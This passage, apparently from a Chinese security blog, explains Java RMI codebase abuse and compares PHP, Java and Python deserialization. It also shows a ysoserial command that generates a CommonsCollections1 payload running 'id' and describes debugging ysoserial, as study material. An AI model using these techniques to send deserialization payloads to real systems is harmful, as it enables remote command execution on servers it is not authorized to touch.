4.Client -> Server\u5efa\u7acb\u7b2c\u4e8c\u6b21TCP\u8fde\u63a5\uff0c\u8fdb\u884c\u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528<\/p>\n\n\n\n
Registry\u662f\u8fdc\u7a0b\u5bf9\u8c61\u7ba1\u7406\u7684\u5730\u65b9\uff0c\u80fd\u8bbf\u95eeRegistry\u662f\u5426\u5c31\u80fd\u591f\u901a\u8fc7\u8bbf\u95eeRegistry\u5c1d\u8bd5\u8986\u76d6\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a\u7684\u65b9\u6cd5\uff1f
\u8fd9\u91ccJava\u5bf9RMI Registry\u505a\u4e86\u9650\u5236\uff0c\u53ea\u6709\u6765\u6e90\u5730\u5740\u662flocalhost\u7684\u65f6\u5019\u624d\u80fd\u8c03\u7528rebind\u3001bind\u3001unbind\u7b49\u65b9\u6cd5

RMI\u4e2d\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u4e4b\u95f4\u4f20\u9012\u7684\u662f\u4e00\u4e9b\u53cd\u5e8f\u5217\u5316\u540e\u7684\u5bf9\u8c61\uff0c\u8fd9\u4e9b\u5bf9\u8c61\u5728\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u5c31\u4f1a\u53bb\u5bfb\u627e\u7c7b\u3002\u5982\u679c\u4e00\u6bb5\u53cd\u5e8f\u5217\u5316\u65f6\u53d1\u73b0\u4e00\u4e2a\u5bf9\u8c61\u5c31\u4f1a\u53bbCLASSPATH\u4e0b\u5bfb\u627e\u76f8\u5bf9\u5e94\u7684\u7c7b\uff0c\u5982\u679c\u672c\u5730\u6ca1\u6709\u627e\u5230\u8fd9\u4e2a\u7c7b\uff0c\u5c31\u4f1a\u53bb\u8fdc\u7a0b\u52a0\u8f7dcodebase\u4e2d\u7684\u7c7b\u3002codebase\u88ab\u63a7\u5236\u5c31\u53ef\u4ee5\u52a0\u8f7d\u6076\u610f\u7c7b\uff08\u6761\u4ef6\u662f\uff1a\u5b89\u88c5\u5e76\u914d\u7f6e\u4e86SecurityManager\u3001Java\u7248\u672c\u4f4e\u4e8e7u21\u30016u45\u6216\u8005\u8bbe\u7f6e\u4e86 java.rmi.server.userCodebaseOnly=false <\/strong>\uff09<\/strong><\/p>\n\n\n\n
\u7ecf\u8fc7\u590d\u73b0\u5206\u6790codebase\u4efb\u610f\u547d\u4ee4\u6267\u884c\uff0c\u6211\u4eec\u53d1\u73b0codebase\u662f\u901a\u8fc7[Ljava.rmi.server.ObjID; \u7684 classAnnotations \u4f20\u9012\u7684\u5373\u4f7f\u6211\u4eec\u6ca1\u6709 RMI \u7684\u5ba2\u6237\u7aef\uff0c\u53ea\u9700\u8981\u4fee\u6539 classAnnotations \u7684\u503c\uff0c\u5c31\u80fd\u63a7\u5236 codebase\u4f7f\u5176\u6307\u5411\u653b\u51fb\u8005\u7684\u6076\u610f\u7f51\u7ad9\u3002\u81f3\u4e8eClassAnnotations\u5b9e\u9645\u662f\u9760ObjectOutputStream\u4e2d\u7684annotateClass\u65b9\u6cd5\u5199\u5165\u7684\u5185\u5bb9\uff0c\u4e5f\u5c31\u662f\u8bf4annotateClass \u8d1f\u8d23\u628a codebase \u5199\u8fdb classAnnotations\u3002<\/strong><\/p>\n\n\n\n
\u53cd\u5e8f\u5217\u5316<\/h1>\n\n\n\n
\u4e00\u95e8\u6210\u719f\u7684\u8bed\u8a00\uff0c\u5982\u679c\u9700\u8981\u5728\u7f51\u4e0a\u4f20\u9012\u4fe1\u606f\uff0c\u901a\u5e38\u4f1a\u7528\u5230\u4e00\u4e9b\u683c\u5f0f\u5316\u6570\u636e\uff0c\u6bd4\u5982JSON\u3001XML<\/p>\n\n\n\n
JSON\u548cXML\u662f\u901a\u7528\u6570\u636e\u4ea4\u4e92\u683c\u5f0f\uff0c\u901a\u5e38\u7528\u4e8e\u4e0d\u540c\u8bed\u8a00\u3001\u4e0d\u540c\u73af\u5883\u4e0b\u6570\u636e\u7684\u4ea4\u4e92\uff0c\u6bd4\u5982\u524d\u7aef\u7684JavaScript\u901a\u8fc7JSON\u548c\u540e\u7aef\u670d\u52a1\u901a\u4fe1\u3001\u5fae\u4fe1\u670d\u52a1\u5668\u901a\u8fc7XML\u548c\u516c\u4f17\u53f7\u670d\u52a1\u5668\u901a\u4fe1\u3002\u4f46\u8fd9\u4e24\u4e2a\u6570\u636e\u683c\u5f0f\u90fd\u6709\u4e00\u4e2a\u5171\u540c\u7684\u95ee\u9898\uff1a\u4e0d\u652f\u6301\u590d\u6742\u7684\u6570\u636e\u7c7b\u578b<\/p>\n\n\n\n
\u5927\u591a\u6570\u5904\u7406\u65b9\u6cd5\u4e2d\uff0cJSON\u548cXML\u652f\u6301\u7684\u6570\u636e\u7c7b\u578b\u5c31\u662f\u57fa\u672c\u6570\u636e\u7c7b\u578b\uff0c\u6574\u578b\u3001\u6d6e\u70b9\u578b\u3001\u5b57\u7b26\u4e32\u3001\u5e03\u5c14\u7b49\uff0c\u5982\u679c\u5f00\u53d1\u8005\u5e0c\u671b\u5728\u4f20\u8f93\u6570\u636e\u7684\u65f6\u5019\u76f4\u63a5\u4f20\u8f93\u4e00\u4e2a\u5bf9\u8c61\uff0c\u90a3\u4e48\u5c31\u4e0d\u5f97\u4e0d\u60f3\u529e\u6cd5\u6269\u5c55\u57fa\u7840\u7684JSON\uff08XML\uff09\u8bed\u6cd5\u3002\u6bd4\u5982Jackson\u548cFastjson\u8fd9\u7c7b\u5e8f\u5217\u5316\u5e93\uff0c\u5728JSON\uff08XML\uff09\u7684\u57fa\u7840\u4e0a\u8fdb\u884c\u6539\u9020\uff0c\u901a\u8fc7\u7279\u5b9a\u7684\u8bed\u6cd5\u6765\u4f20\u9012\u5bf9\u8c61\uff1b\u4ea6\u6216\u8005\u5982RMI\uff0c\u76f4\u63a5\u4f7f\u7528Java\u7b49\u8bed\u8a00\u5185\u7f6e\u7684\u5e8f\u5217\u5316\u65b9\u6cd5\uff0c\u5c06\u4e00\u4e2a\u5bf9\u7ebf\u8f6c\u6362\u6210\u4e00\u4e32\u4e8c\u8fdb\u5236\u6570\u636e\u8fdb\u884c\u4f20\u8f93\u3002<\/p>\n\n\n\n
\u4e0d\u7ba1\u662fJackson\u3001Fastjson\u8fd8\u662f\u7f16\u7a0b\u8bed\u8a00\u5185\u7f6e\u7684\u5e8f\u5217\u5316\u65b9\u6cd5\uff0c\u4e00\u65e6\u6d89\u53ca\u5230\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316\u6570\u636e\uff0c\u5c31\u53ef\u80fd\u4f1a\u6d89\u53ca\u5230\u5b89\u5168\u95ee\u9898\u3002”\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e”\u662f\u5bf9\u4e00\u7c7b\u6f0f\u6d1e\u7684\u6cdb\u6307\uff0c\u800c\u4e0d\u662f\u8f6c\u6307\u67d0\u79cd\u53cd\u5e8f\u5217\u5316\u65b9\u6cd5\u5bfc\u81f4\u7684\u6f0f\u6d1e\uff0c\u6bd4\u5982Jackson\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u548cJava readObject\u9020\u6210\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5c31\u662f\u5b8c\u5168\u4e0d\u540c\u7684\u4e24\u79cd\u6f0f\u6d1e\u3002<\/p>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u65b9\u6cd5\u7684\u5bf9\u6bd4<\/h2>\n\n\n\n
Java\u53cd\u5e8f\u5217\u5316\u4e0ePHP\u53cd\u5e8f\u5217\u5316<\/h3>\n\n\n\n
Java\u53cd\u5e8f\u5217\u5316\u548cPHP\u53cd\u5e8f\u5217\u5316\u5176\u5b9e\u6709\u70b9\u7c7b\u4f3c\uff0c\u4ed6\u4eec\u90fd\u53ea\u80fd\u5c06\u4e00\u4e2a\u5bf9\u8c61\u7684\u5c5e\u6027\u6309\u7167\u67d0\u79cd\u7279\u5b9a\u7684\u683c\u5f0f\u751f\u6210\u4e00\u6bb5\u6570\u636e\u6d41\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u518d\u6309\u7167\u8fd9\u4e2a\u683c\u5f0f\u5c06\u5c5e\u6027\u62ff\u56de\u6765\uff0c\u518d\u8d4b\u503c\u7ed9\u65b0\u7684\u5bf9\u8c61\u3002<\/p>\n\n\n\n
\u4f46Java\u76f8\u5bf9PHP\u5e8f\u5217\u5316\u66f4\u6df1\u5165\u7684\u5730\u65b9\u5728\u4e8e\uff0c\u5176\u63d0\u4f9b\u4e86\u66f4\u52a0\u9ad8\u7ea7\u3001\u7075\u6d3b\u5730\u65b9\u6cd5writeObject\uff0c\u5141\u8bb8\u5f00\u53d1\u8005\u5728\u5e8f\u5217\u5316\u6d41\u4e2d\u63d2\u5165\u4e00\u4e9b\u81ea\u5b9a\u4e49\u6570\u636e\uff0c\u8fdb\u800c\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u80fd\u591f\u4f7f\u7528readObject\u8fdb\u884c\u8bfb\u53d6\u3002<\/p>\n\n\n\n
\u5f53\u7136PHP\u4e2d\u4e5f\u63d0\u4f9b\u4e86\u4e00\u4e2a\u9b54\u672f\u65b9\u6cd5\u53eb__wakeup\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u8fdb\u884c\u89e6\u53d1\u3002\u5f88\u591a\u4eba\u4f1a\u8ba4\u4e3aJava\u7684readObject\u548cPHP__wakeup\u7c7b\u4f3c\uff0c\u4f46\u5176\u5b9e\u4e0d\u5168\u5bf9\uff0c\u867d\u7136\u90fd\u662f\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u89e6\u53d1\uff0c\u4f46\u4ed6\u4eec\u89e3\u51b3\u7684\u95ee\u9898\u7a0d\u5fae\u6709\u4e9b\u5dee\u5f02<\/p>\n\n\n\n
readObejct\u503e\u5411\u4e8e\u89e3\u51b3”\u53cd\u5e8f\u5217\u5316\u65f6\u5982\u4f55\u8fd8\u539f\u4e00\u4e2a\u5b8c\u6574\u5bf9\u8c61”\uff0c\u800cPHP\u7684__wakeup\u66f4\u503e\u5411\u4e8e\u89e3\u51b3”\u53cd\u5e8f\u5217\u5316\u540e\u5982\u4f55\u521d\u59cb\u5316\u8fd9\u4e2a\u5bf9\u8c61”\u7684\u95ee\u9898\u3002\u8fd9\u4e2a\u6d89\u53ca\u7406\u5ff5\u7684\u5dee\u522b\u51b3\u5b9a\u4e86\u4e3a\u4ec0\u4e48Java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u8fd9\u4e48\u591a\u7684\u539f\u56e0\u3002<\/p>\n\n\n\n
php\u53cd\u5e8f\u5217\u5316<\/h3>\n\n\n\n
PHP\u7684\u5e8f\u5217\u5316\u65f6\u5f00\u53d1\u8005\u4e0d\u80fd\u53c2\u4e0e\u7684\uff0c\u5f00\u53d1\u8005\u8c03\u7528serialize\u51fd\u6570\u540e\uff0c\u5e8f\u5217\u5316\u7684\u6570\u636e\u5c31\u5df2\u7ecf\u5b8c\u6210\u4e86\uff0c\u4f60\u5f97\u5230\u7684\u662f\u4e00\u4e2a\u5b8c\u6574\u5bf9\u8c61\uff0c\u5e76\u4e0d\u80fd\u5728\u5e8f\u5217\u5316\u6570\u636e\u6d41\u91cc\u65b0\u589e\u67d0\u4e00\u4e2a\u5185\u5bb9\uff0c\u5982\u679c\u60f3\u63d2\u5165\u65b0\u7684\u5185\u5bb9\uff0c\u53ea\u6709\u5c06\u5176\u4fdd\u5b58\u5728\u4e00\u4e2a\u5c5e\u6027\u4e2d\u3002\u4e5f\u5c31\u662f\u8bf4PHP\u7684\u5e8f\u5217\u5316\u3001\u53cd\u5e8f\u5217\u5316\u662f\u4e00\u4e2a\u7eaf\u5185\u90e8\u7684\u8fc7\u7a0b\uff0c\u800c\u5176__sleep\u3001__wakeup\u9b54\u672f\u65b9\u6cd5\u7684\u76ee\u7684\u5c31\u662f\u5728\u5e8f\u5217\u5316\u3001\u53cd\u5e8f\u5217\u5316\u7684\u524d\u540e\u6267\u884c\u4e00\u4e9b\u64cd\u4f5c\u3002<\/p>\n\n\n\n
\u4e00\u4e2a\u975e\u5e38\u5178\u578b\u7684PHP\u5e8f\u5217\u5316\u4f8b\u5b50\uff0c\u5c31\u662f\u542b\u6709\u8d44\u6e90\u7c7b\u578b\u7684PHP\u7c7b\uff0c\u5982\u6570\u636e\u5e93\u8fde\u63a5\uff1a<\/p>\n\n\n\n
<?php\nclass Connection\n{\n    protected $link;\n    private $dsn, $username, $password;\n    \n    public function __construct($dsn, $username, $password)\n    {\n        $this->dsn = $dsn;\n        $this->username = $username;\n        $this->password = $password;\n        $this->connect();\n    }\n    \n    private function connect()\n    {\n        $this->link = new PDO($this->dsn, $this->username, $this ->password);\n    }\n}<\/code><\/pre>\n\n\n\n
PHP\u4e2d\uff0c\u8d44\u6e90\u7c7b\u578b\u7684\u5bf9\u8c61\u9ed8\u8ba4\u662f\u4e0d\u4f1a\u5199\u5165\u5e8f\u5217\u5316\u662f\u6570\u636e\u4e2d\u7684<\/strong>\u3002\u90a3\u4e48\u4e0a\u8ff0Connection\u7c7b\u7684$link\u5c5e\u6027\u5728\u5e8f\u5217\u5316\u540e\u5c31\u662fnull\uff0c\u53cd\u5e8f\u5217\u5316\u62ff\u5230\u7684\u65f6\u5019\u4e5f\u662fnull\u3002<\/p>\n\n\n\n
\u90a3\u4e48\uff0c\u5982\u679c\u6211\u60f3\u8981\u53cd\u5e8f\u5217\u5316\u65f6\u62ff\u5230\u7684$link\u5c31\u662f\u4e00\u4e2a\u6570\u636e\u5e93\u8fde\u63a5\uff0c\u5c31\u9700\u8981__wakeup\u65b9\u6cd5\uff1a<\/p>\n\n\n\n
<?php\nclass Connection\n{\n    protected $link;\n    private $dsn, $username, $password;\n    \n    public function __construct($dsn, $username, $password)\n    {\n        $this->dsn = $dsn;\n        $this->username = $username;\n        $this->password = $password;\n        $this->connect();\n    }\n    \n    private function connect()\n    {\n        $this->link = new PDO($this->dsn, $this->username, $this->password);\n    }\n    \n    public function __sleep()\n    {\n        return array('dsn', 'username', 'password');\n    }\n    \n    public function __wakeup()\n    {\n        $this->connect();\n    }<\/code><\/pre>\n\n\n\n
\u53ef\u89c1\uff0c\u8fd9\u91cc__wakeup\u7684\u5de5\u4f5c\u5c31\u662f\u5728\u53cd\u5e8f\u5217\u5316\u62ff\u5230Connection\u5bf9\u8c61\u540e\uff0c\u6267\u884cconnect()\u51fd\u6570\uff0c\u8fde\u63a5\u6570\u636e\u5e93\u3002<\/p>\n\n\n\n
__wakeup\u7684\u4f5c\u7528\u5728\u53cd\u5e8f\u5217\u5316\u540e\uff0c\u6267\u884c\u4e00\u4e9b\u521d\u59cb\u5316\u64cd\u4f5c\u3002\u4f46\u5176\u5b9e\u6211\u4eec\u5f88\u5c11\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6570\u636e\u4f20\u9012\u8d44\u6e90\u7c7b\u578b\u7684\u5bf9\u8c61\uff0c\u800c\u5176\u4ed6\u7c7b\u578b\u7684\u5bf9\u8c61\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u5df2\u7ecf\u8d4b\u4e88\u5176\u503c\u4e86\u3002PHP\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5f88\u5c11\u662f\u7531__wakeup\u8fd9\u4e2a\u65b9\u6cd5\u89e6\u53d1\u7684\uff0c\u901a\u5e38\u89e6\u53d1\u5728\u89e3\u6790\u51fd\u6570__destruct\u91cc\u3002\u5176\u5b9e\u5927\u90e8\u5206PHP\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u90fd\u5e76\u4e0d\u662f\u7531\u53cd\u5e8f\u5217\u5316\u5bfc\u81f4\u7684\uff0c\u53ea\u662f\u901a\u8fc7\u53cd\u5e8f\u5217\u5316\u53ef\u4ee5\u63a7\u5236\u5bf9\u8c61\u7684\u5c5e\u6027\uff0c\u8fdb\u800c\u5728\u540e\u7eed\u7684\u4ee3\u7801\u4e2d\u8fdb\u884c\u5371\u9669\u64cd\u4f5c\u3002<\/p>\n\n\n\n
Java\u53cd\u5e8f\u5217\u5316<\/h3>\n\n\n\n
Java\u53cd\u5e8f\u5217\u5316\u7684\u64cd\u4f5c\uff0c\u5f88\u591a\u662f\u9700\u8981\u5f00\u53d1\u8005\u6df1\u5165\u53c2\u4e0e\u7684\uff0c\u6240\u4ee5\u4f1a\u53d1\u73b0\u5927\u91cf\u7684\u5e93\u4f1a\u5b9e\u73b0readObject\u3001writeObject\u65b9\u6cd5\uff0c\u8fd9\u548cPHP\u4e2d__wakeup\u3001__sleep\u5f88\u5c11\u4f7f\u7528\u662f\u5b58\u5728\u9c9c\u660e\u5bf9\u6bd4\u7684\u3002<\/p>\n\n\n\n
RMI\u6700\u540e\u63d0\u5230\u4e86classAnnotations\u4e2d\u643a\u5e26codebase\u4fe1\u606f\u3002\u8fd9\u91cc\u518d\u6765\u8bf4\u8bf4objectAnnotation\u3002<\/p>\n\n\n\n
Java\u5728\u5e8f\u5217\u5316\u4e00\u4e2a\u5bf9\u8c61\u65f6\uff0c\u5c06\u4f1a\u8c03\u7528\u8fd9\u4e2a\u5bf9\u8c61\u7684writeObject\u65b9\u6cd5\uff0c\u53c2\u6570\u7c7b\u578b\u662fObjectOutputSteam\uff0c\u5f00\u53d1\u8005\u53ef\u4ee5\u5c06\u4efb\u4f55\u5185\u5bb9\u5199\u5165\u8fd9\u4e2aStream\u4e2d\uff1b\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u4f1a\u8c03\u7528readObject\uff0c\u5f00\u53d1\u8005\u4e5f\u53ef\u4ee5\u4ece\u4e2d\u8bfb\u53d6\u51fa\u524d\u9762\u5199\u5165\u7684\u5185\u5bb9\uff0c\u5e76\u8fdb\u884c\u5904\u7406\u3002<\/p>\n\n\n\n
\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u7f16\u5199\u4e86\u4e00\u4e2aPerson\u7c7b<\/p>\n\n\n\n
package org.vulhub.Ser;\nimport java.io.IOException;\npublic class Person implements java.io.Serializable {\n    public String name;\n    public int age;\n    Person(String name, int age) {\n        this.name = name;\n        this.age = age;\n    }\n    private void writeObject(java.io.ObjectOutputStream s) throws \nIOException {\n       s.defaultWriteObject();\n       s.writeObject(\"This is a object\");\n    }\n    private void readObject(java.io.ObjectInputStream s)\n            throws IOException, ClassNotFoundException {\n        s.defaultReadObject();\n        String message = (String) s.readObject();\n        System.out.println(message);\n    }\n}<\/code><\/pre>\n\n\n\n
\u53ef\u89c1\uff0c\u8fd9\u91cc\u6267\u884c\u5b8c\u9ed8\u8ba4\u7684s.defaultwriteObject()\u540e\uff0c\u5411stream\u91cc\u5199\u5165\u4e86\u5b57\u7b26\u4e32This is a object\uff0c\u5229\u7528SerializationDumper\u67e5\u770b\u6b64\u65f6\u751f\u6210\u7684\u5e8f\u5217\u5316\u6570\u636e:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u89c1\u6211\u4eec\u5199\u5165\u7684\u5b57\u7b26\u4e32This is a object\u88ab\u653e\u5728objectAnnoation\u7684\u4f4d\u7f6e\u3002\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u8bfb\u53d6\u4e86\u8fd9\u4e2a\u5b57\u7b26\u4e32\uff0c\u5e76\u5c06\u5176\u8f93\u51fa:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Java CC\u94fe\u4e2d\u4f1a\u7528\u5230HashMap\uff0c\u5176\u5c31\u662f\u5c06Map\u4e2d\u7684\u6240\u6709\u952e\u3001\u503c\u90fd\u5b58\u50a8\u5728objectAnnotation\u4e2d\uff0c\u800c\u5e76\u4e0d\u662f\u67d0\u4e2a\u5177\u4f53\u5c5e\u6027\u91cc<\/p>\n\n\n\n
Python\u53cd\u5e8f\u5217\u5316<\/h3>\n\n\n\n
Python\u53cd\u5e8f\u5217\u5316\u4e0eJava\u3001PHP\u6709\u4e00\u4e2a\u663e\u8457\u7684\u533a\u522b\uff0cpython\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u5b9e\u9645\u4e0a\u662f\u5728\u6267\u884c\u4e00\u4e2a\u57fa\u4e8e\u6808\u7684\u865a\u62df\u673a\u3002\u6211\u4eec\u53ef\u4ee5\u5411\u6808\u4e0a\u589e\u3001\u5220\u5bf9\u8c61\uff0c\u4e5f\u53ef\u4ee5\u6267\u884c\u4e00\u4e9b\u547d\u4ee4\uff0c\u6bd4\u5982\u51fd\u6570\u7684\u6267\u884c\u7b49\uff0c\u751a\u81f3\u53ef\u4ee5\u7528\u8fd9\u4e2a\u865a\u62df\u673a\u6267\u884c\u4e00\u4e2a\u5b8c\u6574\u7684\u5e94\u7528\u7a0b\u5e8f\u3002<\/p>\n\n\n\n
\u6240\u4ee5\uff0cPython\u7684\u53cd\u5e8f\u5217\u5316\u53ef\u4ee5\u7acb\u5373\u5bfc\u81f4\u4efb\u610f\u51fd\u6570\u3001\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u4e0e\u9700\u8981gadget\u7684PHP\u548cJava\u76f8\u6bd4\u66f4\u52a0\u5371\u9669\u3002<\/p>\n\n\n\n
\u4ece\u5371\u5bb3\u4e0a\u6765\u770b\uff0cPython\u7684\u53cd\u5e8f\u5217\u5316\u5371\u5bb3\u662f\u6700\u5927\u7684\uff1b\u4ece\u5e94\u7528\u5e7f\u5ea6\u4e0a\u6765\u770b\uff0cJava\u7684\u53cd\u5e8f\u5217\u5316\u65f6\u6700\u5e38\u88ab\u7528\u5230\u7684\uff1b\u4ece\u53cd\u5e8f\u5217\u5316\u539f\u7406\u4e0a\u6765\u770b\uff0cPHP\u548cJava\u65f6\u7c7b\u4f3c\u53c8\u4e0d\u5c3d\u76f8\u540c\u7684\u3002<\/strong><\/p>\n\n\n\n
ysoserial<\/h2>\n\n\n\n
ysoserial\u53ef\u4ee5\u8ba9\u7528\u6237\u6839\u636e\u81ea\u5df1\u9009\u62e9\u7684\u5229\u7528\u8fde\uff0c\u751f\u6210\u53cd\u5e8f\u5217\u5316\u5229\u7528\u6570\u636e\uff0c\u901a\u8fc7\u5c06\u8fd9\u4e9b\u6570\u636e\u53d1\u9001\u7ed9\u76ee\u6807\uff0c\u4ece\u800c\u6267\u884c\u7528\u6237\u9884\u5148\u5b9a\u4e49\u7684\u547d\u4ee4\u3002<\/p>\n\n\n\n
\u4ec0\u4e48\u662f\u5229\u7528\u94fe\uff1f<\/strong><\/p>\n\n\n\n
\u5229\u7528\u94fe\u4e5f\u53eb”gadget chains”\uff0c\u6211\u4eec\u901a\u5e38\u79f0\u4e3agadget\u3002gadget\u8fde\u63a5\u7684\u662f\u4ece\u89e6\u53d1\u4f4d\u7f6e\u5f00\u59cb\u5230\u6267\u884c\u547d\u4ee4\u7684\u4f4d\u7f6e\u7ed3\u675f\uff0c\u5728PHP\u91cc\u53ef\u80fd\u662f__destruct\u5230eval\uff1b<\/p>\n\n\n\n
ysoserial\u7684\u4f7f\u7528\u4e5f\u5f88\u7b80\u5355\uff0c\u53ef\u4ee5\u5f88\u5bb9\u6613\u751f\u6210gadget\u5bf9\u5e94\u7684POC<\/p>\n\n\n\n
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 \"id\"<\/code><\/pre>\n\n\n\n
\u5982\u4e0a\uff0cysoserial\u5927\u90e8\u5206\u7684gadget\u7684\u53c2\u6570\u5c31\u662f\u4e00\u6761\u547d\u4ee4\uff0c\u6bd4\u5982\u8fd9\u91ccid\u3002\u751f\u6210\u597d\u7684POC\u53d1\u9001\u7ed9\u76ee\u6807\uff0c\u5982\u679c\u76ee\u6807\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u5e76\u6ee1\u8db3\u8fd9\u4e2agadget\u5bf9\u5e94\u7684\u6761\u4ef6\uff0c\u5219\u547d\u4ee4id\u5c06\u88ab\u6267\u884c\u3002<\/p>\n\n\n\n
Java\u9879\u76ee\u8c03\u8bd5<\/h2>\n\n\n\n
\u4ee5https:\/\/github.com\/frohoff\/ysoserial<\/a>\u4e3a\u4f8b\uff0c\u4e0b\u8f7d\u6e90\u7801\uff0c\u7136\u540e\u7528IDEA\u6253\u5f00\u3002\u5982\u679c\u8fd9\u4e2a\u9879\u76ee\u91cc\u5305\u542b\u4e86pom.xml\u6587\u4ef6\uff0c\u8bf4\u660e\u8fd9\u4e2a\u662f\u7528maven\u6253\u5305\u7684\u9879\u76ee\uff0c\u8fd9\u4e2a\u65f6\u5019IDEA\u4f1a\u81ea\u52a8\u6839\u636e\u5176\u4e2d\u7684\u914d\u7f6e\u4e0b\u8f7d\u4f9d\u8d56\u3002\u5982\u679c\u4f9d\u8d56\u6709\u95ee\u9898\u53ef\u4ee5\u624b\u5de5\u70b9\u51fb\u83dc\u5355\u91cc\u7684Files – Project Structure\uff0c\u7136\u540e\u914d\u7f6eLibraries<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f53\u7136\u4e5f\u53ef\u4ee5\u4f7f\u7528maven\u7684\u9762\u677f\u8fdb\u884c\u5b89\u88c5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f9d\u8d56\u5f04\u597d\u4e86\uff0c\u9700\u8981\u5e72\u4e00\u4e2a\u4e8b\u60c5\u5c31\u662f\u627e\u6574\u4e2a\u9879\u76ee\u91cc\u6709\u54ea\u4e9b\u5165\u53e3\u70b9\uff08\u5176\u5b9e\u5c31\u662f\u4e3b\u7c7b\u548cmain\u51fd\u6570\uff09\u3002\u8fd9\u4e2a\u5176\u5b9e\u53ef\u4ee5\u5728maven\u7684\u914d\u7f6e\u6587\u4ef6\u91cc\u627e\u5230\uff0c\u6bd4\u5982ysoserial\u7684\u4e3b\u7c7b\u5728\u8fd9\u91cc\u914d\u7f6e\u7684<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
maven-assembly-plugin\u5c31\u662f\u4e00\u4e2a\u7528\u6765\u6253\u5305\u9879\u76ee\u7684\u63d2\u4ef6\uff0c\u53ef\u4ee5\u628a\u4f9d\u8d56\u3001\u7c7b\u6587\u4ef6\u4ec0\u4e48\u7684\u90fd\u6253\u5305\u5728\u4e00\u8d77\u3002\u8fd9\u91cc\u7684mainClass\u7684\u503c\u662fysoserial.GeneratePayload\uff0c\u81ea\u7136\u5c31\u662f\u4e3b\u7c7b\u3002<\/p>\n\n\n\n
\u6839\u636e\u8fd9\u4e2a\u914d\u7f6e\u6253\u5f00\u6587\u4ef6src\/main\/java\/ysoserial\/GeneratePayload.java\uff0c\u5c31\u80fd\u770b\u5230main\u51fd\u6570\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5de6\u8fb9\u7bad\u5934\uff0c\u6709debug\u53ef\u4ee5\u8fdb\u884c\u8c03\u8bd5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u70b9\u51fb\u540e\u4f1a\u6253\u5370usage\uff0c\u56e0\u4e3a\u8fd9\u4f1a\u6ca1\u6709\u52a0\u4efb\u4f55\u53c2\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6253\u5f00Debug Configurations<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4fee\u6539Program arguments\u52a0\u4e0a\u8fd0\u884c\u65f6\u7684\u547d\u4ee4\u53c2\u6570\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728CC1\u8fd9\u4e2agadget\u7684\u4ee3\u7801\u91cc\u4e0b\u4e2a\u65ad\u70b9\uff0c\u6210\u529f\u65ad\u4e0b\uff0ccommand\u7684\u503c\u662fid<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
URLDNS<\/h2>\n\n\n\n
URLDNS\u5c31\u662fysoserial\u4e2d\u4e00\u4e2a\u5229\u7528\u94fe\u7684\u540d\u5b57\uff0c\u4f46\u51c6\u786e\u6765\u8bf4\uff0c\u8fd9\u4e2a\u5176\u5b9e\u4e0d\u80fd\u79f0\u4f5c”\u5229\u7528\u94fe”\u3002\u56e0\u4e3a\u5176\u53c2\u6570\u4e0d\u662f\u4e00\u4e2a\u53ef\u4ee5”\u5229\u7528”\u7684\u547d\u4ee4\uff0c\u800c\u4ec5\u4e3a\u4e00\u4e2aURL\uff0c\u5176\u80fd\u89e6\u53d1\u7684\u7ed3\u679c\u4e5f\u4e0d\u662f\u547d\u4ee4\u6267\u884c\uff0c\u800c\u662f\u4e00\u6b21DNS\u8bf7\u6c42\u3002<\/p>\n\n\n\n
\u867d\u7136\u8fd9\u4e2a”\u5229\u7528\u94fe”\u5b9e\u9645\u4e0a\u662f\u4e0d\u80fd”\u5229\u7528”\u7684\uff0c\u4f46\u56e0\u4e3a\u5176\u5982\u4e0b\u7684\u4f18\u70b9\uff0c\u975e\u5e38\u9002\u5408\u5728\u68c0\u6d4b\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u65f6\u4f7f\u7528\uff1a
1.\u4f7f\u7528Java\u5185\u7f6e\u7684\u7c7b\u6784\u9020\uff0c\u5bf9\u7b2c\u4e09\u65b9\u5e93\u6ca1\u6709\u4f9d\u8d56<\/strong>
